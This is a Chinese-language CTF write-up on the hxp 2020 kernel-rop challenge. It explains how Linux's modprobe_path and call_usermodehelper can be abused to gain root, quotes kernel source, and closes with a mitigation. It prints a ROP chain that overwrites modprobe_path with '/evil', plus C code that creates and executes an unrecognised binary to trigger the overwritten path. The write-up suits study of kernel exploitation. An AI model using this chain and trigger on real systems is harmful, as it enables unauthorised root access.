0005-TIPS-2020-hxp-kernel-rop : bypass-KPTI-with-modprobe

call_usermodehelper 是一个大的概念
modprobe 是 call_usermodehelper 利用方式的一种
++++++++++++++++++++++++++++++++++++++++++++++++++
call_usermodehelper = call_user-mode-helper
modprobe = mod-probe = module-probe
modprobe_path = mod-probe_path = module-probe_path

call_usermodehelper api(该利用方式中-大的概念)

call_usermodehelper api可以在内核空间调用用户空间的应用程序,执行用户空间的命令。

在linux-5.9内核中,call_usermodehelper实现如下

/*** call_usermodehelper() - prepare and start a usermode application* @path: path to usermode executable* @argv: arg vector for process* @envp: environment for process* @wait: wait for the application to finish and return status.*        when UMH_NO_WAIT don't wait at all, but you get no useful error back*        when the program couldn't be exec'ed. This makes it safe to call*        from interrupt context.** This function is the equivalent to use call_usermodehelper_setup() and* call_usermodehelper_exec().*/
int call_usermodehelper(const char *path, char **argv, char **envp, int wait)
{struct subprocess_info *info;gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;info = call_usermodehelper_setup(path, argv, envp, gfp_mask,NULL, NULL, NULL);if (info == NULL)return -ENOMEM;return call_usermodehelper_exec(info, wait);
}
EXPORT_SYMBOL(call_usermodehelper);
  • call_usermodehelper_setup设置要执行的用户空间的程序、环境变量、handler(包含初始化函数init和清理函数cleanup)等信息,相关信息填充到subprocess_info结构体中
  • call_usermodehelper_exec执行设置的用户空间程序

内核中有很多这样的需求

例子1:实现关机的接口:__orderly_poweroff,该接口的主要作用是:在内核空间,调用用户空间的应用程序“/sbin/poweroff”,达到关机的目的。通过调该接口,可以在内核中实现“长按关机”操作

char poweroff_cmd[POWEROFF_CMD_PATH_LEN] = "/sbin/poweroff";
static int __orderly_poweroff(bool force)
{int ret;ret = run_cmd(poweroff_cmd);  // <-------------------------------------------if (ret && force) {pr_warn("Failed to start orderly shutdown: forcing the issue\n");emergency_sync();kernel_power_off();}return ret;
}static int run_cmd(const char *cmd)
{char **argv;static char *envp[] = {"HOME=/","PATH=/sbin:/bin:/usr/sbin:/usr/bin",NULL};int ret;argv = argv_split(GFP_KERNEL, cmd, NULL);if (argv) {ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); // <-------------------------------------------argv_free(argv);} else {ret = -ENOMEM;}return ret;
}

例子2:与关机类似的重启命令

static const char reboot_cmd[] = "/sbin/reboot";static int __orderly_reboot(void)
{int ret;ret = run_cmd(reboot_cmd);		// 内部是对 call_usermodehelper 的封装if (ret) {pr_warn("Failed to start orderly reboot: forcing the issue\n");emergency_sync();kernel_restart(NULL);}return ret;
}

例子3:本章有关-----模块加载命令/sbin/modprobe,该命令被封装到call_modprobe函数中

char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";static int call_modprobe(char *module_name, int wait)
{struct subprocess_info *info;static char *envp[] = {"HOME=/","TERM=linux","PATH=/sbin:/usr/sbin:/bin:/usr/bin",NULL};[..]argv[0] = modprobe_path;argv[1] = "-q";argv[2] = "--";argv[3] = module_name;	/* check free_modprobe_argv() */argv[4] = NULL;info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,NULL, free_modprobe_argv, NULL);[..]return call_usermodehelper_exec(info, wait | UMH_KILLABLE);[...]
}

call_modprobe 与 /sbin/modprobe

在用户态查看/sbin/modprobe的帮助文档,可以确定该命令是与处理module有关

showme@showme:linux-5.9$ /sbin/modprobe --help
Usage:modprobe [options] [-i] [-b] modulenamemodprobe [options] -a [-i] [-b] modulename [modulename...]modprobe [options] -r [-i] modulenamemodprobe [options] -r -a [-i] modulename [modulename...]modprobe [options] -cmodprobe [options] --dump-modversions filename
Management Options:-a, --all                   Consider every non-argument tobe a module name to be insertedor removed (-r)-r, --remove                Remove modules instead of inserting--remove-dependencies   Also remove modules depending on it
[...]

在内核中将/sbin/modprobe字符串存储在全局变量modprobe_path中,在call_modprobe函数中使用
同时在内核代码中,call_modprobe仅被封装在kernel/kmod.c/__request_module()函数中
且又进行了一层封装

int __request_module(bool wait, const char *name, ...);
#define request_module(mod...) __request_module(true, mod)
#define request_module_nowait(mod...) __request_module(false, mod)

大体浏览内核中的相关代码,可以看出request_module是用来操作模块的

drivers/crypto/qat/qat_c3xxxvf/adf_drv.c:234  {235: 	request_module("intel_qat");236  sound/core/sound.c:59  		return;60: 	request_module("snd-card-%i", card);61  }drivers/parport/share.c:213  	 */214: 	request_module("parport_lowlevel");215  }

execve 与 call_modprobe 的关系(其中一个call_usermodehelper利用方式)

当通过execve执行一个二进制文件时,且内核法识别二进制文件的魔术字,就会调用call_modprobe加载可以处理该特殊二进制的模块。

execve中与call_modprobe相关的分支流程图

  │▼
┌──────┐ filename, argv, envp                         ┌─────────┐
│execve├─────────────────────────────────────────────►│do_execve│
└──────┘                                              └────┬────┘│  fd, filename, argv, envp, flags                         │┌────────────────────────────────────────────────────────┘▼
┌──────────────────┐ bprm, fd, filename, flags      ┌───────────┐
│do_execveat_common├───────────────────────────────►│bprm_execve│
└──────────────────┘                                └─────┬─────┘│bprm                                                  │┌───────────────────────────────────────────────────────┘▼
┌───────────┐ bprm                        ┌─────────────────────┐
│exec_binprm├────────────────────────────►│search_binary_handler│
└───────────┘                             └───────────┬─────────┘│"binfmt-$04x", *(ushort*)(bprm->buf+2)             │┌───────────────────────────────────────────────────┘▼
┌──────────────┐ true, mod...                  ┌────────────────┐
│request_module├──────────────────────────────►│__request_module│
└──────────────┘                               └───────┬────────┘│module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC   │┌────────────────────────────────────────────────────┘▼
┌─────────────┐
│call_modprobe│
└─┬───────────┘││ info, wait | UMH_KILLABLE▼
┌────────────────────────┐
│call_usermodehelper_exec│
└────────────────────────┘

大体含义(细节可以参考这里,细节1,细节2):

  • 对执行文件,执行环境进行封装
  • 内核寻找合适的二进制加载器(search_binary_handler
  • 如果无法识别二进制文件的魔术字,就读取二进制文件的前 4 个字节(假设是AABBCCDD),并尝试加载适当模块
  • 该模块名称将被拼凑为binfmt-AABBCCDD,交由request_module加载(call_modprobe->call_usermodehelper_exec),此时便在内核态执行了/sbin/modprobe
  • 注意: 二进制文件的前 4 个字是可打印字符,才会尝试加载适当的模块

利用方式

  • 找到内核全局变量modprobe_path的地址(该变量中存储的内容为/sbin/modprobe
  • 将提权文件路径写入到modprobe_path地址处(就是)
  • 创建一个无法识别的二进制文件,并执行,使之触发execve->search_binary_handler->request_module->call_modprobe->call_usermodehelper_exec(执行modprobe_path保存路径的提权文件)
  • 这样提供的提权文件就能以root权限执行了

对于本题,通过modprobe,也算间接的绕过了KPTI

准备好提权文件(新modprobe_path)

重写modprobe_path

获取modprobe_path的地址,并重写为提权文件的路径,假设这里提权文件路径为/evil

/ # cat /proc/sys/kernel/modprobe 
/sbin/modprobe/ # cat /proc/kallsyms | grep "modprobe_path"
ffffffff82061820 D modprobe_pathpwndbg> x/s 0xffffffff82061820
0xffffffff82061820:	"/sbin/modprobe"
pwndbg> x/16gx 0xffffffff82061820
0xffffffff82061820:	0x6f6d2f6e6962732f	0x000065626f727064

rop如下

payload[cookie_off++] = cookie;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = pop_rax_ret;
payload[cookie_off++] = 0x6c6976652f; // rax = /evil 这里是字符串硬编码,也可以是/tmp/x  短一点,直接一次寄存器赋值搞定
payload[cookie_off++] = pop_rdi_ret;
payload[cookie_off++] = modprobe_path;
payload[cookie_off++] = write_rax_into_rdi_ret; // overwrite modprobe_path
payload[cookie_off++] = swapgs_pop1_ret;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = iretq;
payload[cookie_off++] = user_rip;
payload[cookie_off++] = user_cs;
payload[cookie_off++] = user_rflags;
payload[cookie_off++] = user_sp;
payload[cookie_off++] = user_ss;

在exp执行后,程序段错误,毕竟没有解决KPTI,但是modprobe_path修改了

准备无法加载的二进制文件

手动创建

echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fl
chmod +x /tmp/fl

或者是下面的代码

#include 
#include 
#include 
#include int main() {char *dummy_file = "/tmp/dummy";puts("[*] creating dummy file");FILE *fptr = fopen(dummy_file, "w");if (!fptr) {puts("[-] failed to open dummy file");exit(-1);}if (fputs("\x37\x13\x42\x42", fptr) == EOF) {puts("[-] failed to write dummy file");exit(-1);}fclose(fptr);system("chmod 777 /tmp/dummy");puts("[*] triggering modprobe by executing dummy file");execv(dummy_file, NULL);puts("[+] now run /tmp/evilsu to get root shell");return 0;
}

执行无法加载的二进制文件

触发execve->search_binary_handler->request_module->call_modprobe->call_usermodehelper_exec(执行modprobe_path保存路径的提权文件)

类似modprobe的其他call_usermodehelper - TODO

core_pattern

在核心转储开启的时候有用
通过程序崩溃触发,一般通过下面内容触发

int main() {char *p = 0;*p = 1;return 0;
}

缓解措施

CONFIG_STATIC_USERMODEHELPER被设置为 true迫使用户模式辅助程序通过单一的二进制文件调用,并且 CONFIG_STATIC_USERMODEHELPER_PATH 被设置为空字符串,即没有 modprobe_path 技巧。

参考

https://0x9k.club/posts/uncategorized/2018-05-02-new_reliable_android_kernel_root_exploit.html
https://sam4k.com/like-techniques-modprobe_path/
https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/#version-3-probing-the-mods

https://github.com/tych0/huldufolk
https://github.com/smallkirby/kernelpwn/blob/master/technique/modprobe_path.md

其他用到modprobe的题目
https://www.anquanke.com/post/id/236126#h2-1

https://www.jianshu.com/p/a2259cd3e79e
【linux内核漏洞利用】call_usermodehelper提权路径变量总结


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部